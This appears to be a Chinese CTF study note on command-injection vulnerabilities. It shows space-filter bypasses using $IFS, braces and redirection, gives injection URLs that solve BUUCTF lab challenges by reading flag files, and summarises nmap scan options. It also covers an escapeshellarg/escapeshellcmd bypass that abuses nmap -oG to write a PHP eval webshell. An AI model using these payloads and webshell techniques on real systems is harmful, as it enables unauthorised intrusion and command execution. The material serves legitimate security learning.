命令执行漏洞
windows系统常用命令拼接符号
空格过滤 echo$IFS123(错误用法 ) $IFS在linux下表示分隔符,相当于一个空格。但是如果单纯的echo$IFS123,bash解释器会把整个IFS123当做变量名,所以导致输不出结果,因此这里加一个{}就固定了变量名1.echo${IFS}123(正确用法)输出:1232.如果目标服务器过滤了大括号"{}",这时${IFS}就不管用了,再回过头看看第一次尝试的写法echo$IFS123,shell执行命令时有没有什么办法让shell读取$后面的内容刚好到S处,经过测试后发现,当shell在搜寻变量名称遇到引号 , 符 号 时 就 会 结 束 .
加了转义,因为引号需要闭合,如果将左边的引号闭合会是下面的情况。echo $IFS""123输出:123echo IFS"123"也可以,因为在shell命令获取参数时,参数外面可以用引号括起来也可以不括起来 。3.如果目标过滤了引号和大括号怎么办 ,只要将参数放在一个变量中,然后通过命令+$IFS+变量的方式就可以正常使用$IFS变量,方式如下 a=123;echo$IFS$123
命令中空格被过滤的解决方法: {cat,flag.txt} cat${IFS}flag.txt cat $IFS$9flag.txt $9指传过来的第9个参数 cat<flag.txt cat<>flag.txt读文件命令cat--由第一行开始显示内容,并将所有内容输出tac--从最后一行倒序显示内容,并将所有内容输出more-- 根据窗口大小,一页一页的显示文件内容less 和more类似,但其优点可以往前翻页,而且可以进行搜索字符head-- 只显示头几行tail --只显示最后几行nl --类似于cat -n,显示时输出行号tailf-- 类似于tail -fvim --使用vim工具打开文本vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出buu:命令执行buu【GXYCTF2019】PINGPINGPINGls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。 http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1|cat%20flag.php
空格被过滤http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1|{catflag.php}
符号被过滤,于是试试第三种过滤方法http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$9flag.txt
结果又发现flag又被过滤了,离谱。http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
只有个这玩意,查看源码,得到flag
[ACTF2020 新生赛]Exec
还是先看一下目录有什么东西127.0.0.1|ls发现有个index.phpls /时返回上一级目录127.0.0.1|ls /
127.0.0.1|cat /flag得到flagnmapnmap简介:nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。 功能:主机发现 - 识别网络上的主机。例如,列出响应TCP和或ICMP请求或打开特定端口的主机。· 端口扫描 - 枚举目标主机上的开放端口。· 版本检测 - 询问远程设备上的网络服务以确定应用程序名称和版本号。· OS检测 - 确定网络设备的操作系统和硬件特性。· 可与脚本进行脚本交互 - 使用Nmap脚本引擎(NSE)和Lua编程语言。nmap语法格式: nmap [空格] [选项/多选项/协议] [空格] [目标] 例: nmap ip
nmap -A ip
详细描述输出扫描nmap -vv ip地址简单扫描,并对返回的结果详细描述输出,这个扫描是可以看到扫描的过程的,漫长的扫描的过程中可以看到百分比
TCP扫描:nmap -sT ip
版本检测扫描:nmap -sv ip
版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCPSYN扫描开放了哪些端口。这个扫描的话,速度会慢一些,67.86秒扫一个IP。 -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 -T加常数,时间优化参数,-T0~n,-T0扫描端口的周期大约为n分钟,-Tn大约为n秒钟 -host-time限制扫描时间[BUUCTF 2018]Online Tool
漏洞点:单独使用escapeshellarg 和escapeshellcmd 中任意一个都不会出现问题,或者先使用escapeshellcmd再使用escapeshellarg 也不会出现问题,唯有题目中先escapeshellarg 在escapeshellcmd 会有漏洞 nmap的知识点:在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。可以上传一句话木马,再用蚁剑链接,就可以顺利拿到flag了构造payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php 'http://f15643b7-d9fa-40d8-8379-fc5ddc5875dd.node4.buuoj.cn/98159fe8cfa5bf24515438d407a8668b/hack.php hack=system('ls');[网鼎杯 2020 朱雀组]Nmap这个题的环境类似于nmap,输入一个命令行,就会输出ip地址。例如输入127.0.0.1,
试一下127.0.0.1|ls,出现了这一段话。
提示地址错误 ,直接放入网上搜到的payload:' <?php @eval($_POST["hack"]);?> -oG hack.php '这个payload和上一个题online tool的那一个是一样的
应该是做了什么限制,尝试修改文件名后缀为phtml, 加上扫描的地址:127.0.0.1: 127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml'
这个就是扫描结果。
第二种方法:payload:' -iL /flag -oN flag.txt '存入flag.txt,访问得到flag